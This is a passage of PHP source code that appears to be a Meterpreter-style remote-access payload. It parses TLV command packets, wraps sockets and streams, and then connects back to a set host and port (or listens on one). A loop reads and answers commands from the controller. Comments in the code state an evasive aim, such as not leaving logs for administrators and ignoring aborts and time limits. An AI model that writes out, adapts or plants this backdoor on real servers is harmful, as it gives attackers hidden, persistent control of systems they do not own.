8)); #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); if ($type == $tlv['type']) { #my_print("Found one at offset $offset"); if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { $tlv = unpack("Nlen/Ntype/a*value", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { $tlv = unpack("Nlen/Ntype/Nvalue", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { $tlv = unpack("Nlen/Ntype/cvalue", substr($pkt, $offset, $tlv['len'])); } elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { $tlv = unpack("Nlen/Ntype", substr($pkt, $offset, 8)); $tlv['value'] = substr($pkt, $offset+8, $tlv['len']-8); } else { my_print("Wtf type is this? $type"); $tlv = NULL; } return $tlv; } $offset += $tlv['len']; } my_print("Didn't find one, wtf"); return false; } $resource_type_map = array(); function register_socket($sock) { global $resource_type_map; my_print("Registering socket $socket"); $resource_type_map[(int)$sock] = 'socket'; } function register_stream($stream) { global $resource_type_map; my_print("Registering stream $stream"); $resource_type_map[(int)$stream] = 'stream'; } function dump_resource_map() { global $resource_type_map; my_print(sprintf("Resource map %s", count($resource_type_map))); foreach ($resource_type_map as $resource => $type) { my_print(" $resource ($type)"); } } function close($resource) { switch (get_rtype($resource)) { case 'socket': return socket_close($resource); break; case 'stream': return fclose($resource); break; } } function read($resource, $len) { my_print(sprintf("Reading from $resource which is a %s", get_rtype($resource))); switch (get_rtype($resource)) { case 'socket': $buff = socket_read($resource, $len, PHP_BINARY_READ); break; case 'stream': $buff = fread($resource, $len); break; default: my_print("Wtf don't know how to read from resource $resource"); break; } return $buff; } function write($resource, $buff, $len=0) { if ($len == 0) { $len = strlen($buff); } my_print(sprintf("Writing %d bytes to $resource which is a %s", $len, get_rtype($resource))); switch (get_rtype($resource)) { case 'socket': $count = socket_write($resource, $buff, $len); break; case 'stream': $count = fwrite($resource, $buff, $len); break; default: my_print("Wtf don't know how to write to resource $resource"); $count = FALSE; break; } my_print("Wrote $count bytes"); return $count; } function get_rtype($resource) { global $resource_type_map; return $resource_type_map[(int)$resource]; } function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) { $streams_r = array(); $streams_w = array(); $streams_e = array(); $sockets_r = array(); $sockets_w = array(); $sockets_e = array(); if ($r) { foreach ($r as $resource) { switch (get_rtype($resource)) { case 'socket': array_push($sockets_r, $resource); break; case 'stream': array_push($streams_r, $resource); break; default: my_print("Unknown resource type"); break; } } } if ($w) { foreach ($w as $resource) { switch (get_rtype($resource)) { case 'socket': array_push($sockets_w, $resource); break; case 'stream': array_push($streams_w, $resource); break; default: my_print("Unknown resource type"); break; } } } if ($e) { foreach ($e as $resource) { switch (get_rtype($resource)) { case 'socket': array_push($sockets_e, $resource); break; case 'stream': array_push($streams_e, $resource); break; default: my_print("Unknown resource type"); break; } } } $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e); $n_streams = count($streams_r) + count($streams_w) + count($streams_e); my_print("Selecting $n_sockets sockets and $n_streams streams"); $r = array(); $w = array(); $e = array(); # Workaround for some versions of PHP that throw an error and bail out if # select is given an empty array if (count($sockets_r)==0) { $sockets_r = NULL; } if (count($sockets_w)==0) { $sockets_w = NULL; } if (count($sockets_e)==0) { $sockets_e = NULL; } if (count($streams_r)==0) { $streams_r = NULL; } if (count($streams_w)==0) { $streams_w = NULL; } if (count($streams_e)==0) { $streams_e = NULL; } $count = 0; if ($n_sockets > 0) { $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec); if (FALSE === $res) { return FALSE; } if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); } if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); } if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); } $count += $res; } if ($n_streams > 0) { $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec); if (FALSE === $res) { return FALSE; } if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); } if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); } if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); } $count += $res; } my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e))); return $count; } ## # Main stuff ## ob_implicit_flush(); # Turn off error reporting so we don't leave any ugly logs. Why make an # administrator's job easier if we don't have to? =) #error_reporting(0); error_reporting(E_ALL); @ignore_user_abort(true); # Has no effect in safe mode, but try anyway @set_time_limit(0); $port = 4444; $listen = false; if ($listen) { # Assume that the socket functions are available since there really isn't # any other way to create a server socket. XXX Investigate using COM # objects to accomplish this in Windows since socket_* are unavailable by # default. my_print("Listening on $port"); $setsockopt = 'socket_setopt'; if (!is_callable($setsockopt )) { # renamed in PHP 4.3.0 $setsockopt = 'socket_set_option'; } $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); # don't care if this fails @$setsockopt($sock, SOL_SOCKET, SO_REUSEADDR, 1); $ret = socket_bind($sock, 0, $port); $ret = socket_listen($sock, 5); $msgsock = socket_accept($sock); socket_close($sock); my_print("Got a socket connection $msgsock"); } else { my_print("Connecting to $port"); $ipaddr = '127.0.0.1'; if (is_callable('socket_create')) { $msgsock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); $res = socket_connect($msgsock,$ipaddr,$port); if (!$res) { die(); } register_socket($msgsock); } else { $msgsock = fsockopen($ipaddr,$port); if (!$msgsock) { die(); } register_stream($msgsock); } } $readers = array($msgsock); $file_readers = array(); # # Main dispatch loop # while (FALSE !== select($r=$readers, $w=NULL, $e=NULL, 1)) { dump_resource_map(); my_print(sprintf("Returned from select with %s readers", count($r))); $read_failed = false; for ($i = 0; $i < count($r); $i++) { $ready = $r[$i]; if ($ready == $msgsock) { $request = read($msgsock, 8); my_print(sprintf("Read returned %s bytes", strlen($request))); if (FALSE==$request) { my_print("Read failed on main socket, bailing"); # We failed on the main socket. There's no way to continue, so # break all the way out. break 2; } $a = unpack("Nlen/Ntype", $request); # length of the whole packet, including header $len = $a['len']; # packet type should always be 0, i.e. PACKET_TYPE_REQUEST $ptype = $a['type']; while (strlen($request) < $a['len']) { $request .= read($msgsock, $len-strlen($request)); my_print(sprintf("Read more into request buff, now %s bytes", strlen($request))); } #hexdump(substr($request, 0, $len)); my_print("creating response"); $response = create_response($request); write($msgsock, $response); } else { my_print("not Msgsock: $ready"); $data = read($ready, 1024); if (FALSE === $data || "" === $data) { $request = handle_dead_socket_channel($ready); write($msgsock, $request); unset($readers[$i]); } else { $request = handle_socket_read_channel($ready, $data); write($msgsock, $request); } } } } my_print("Finished"); close($msgsock);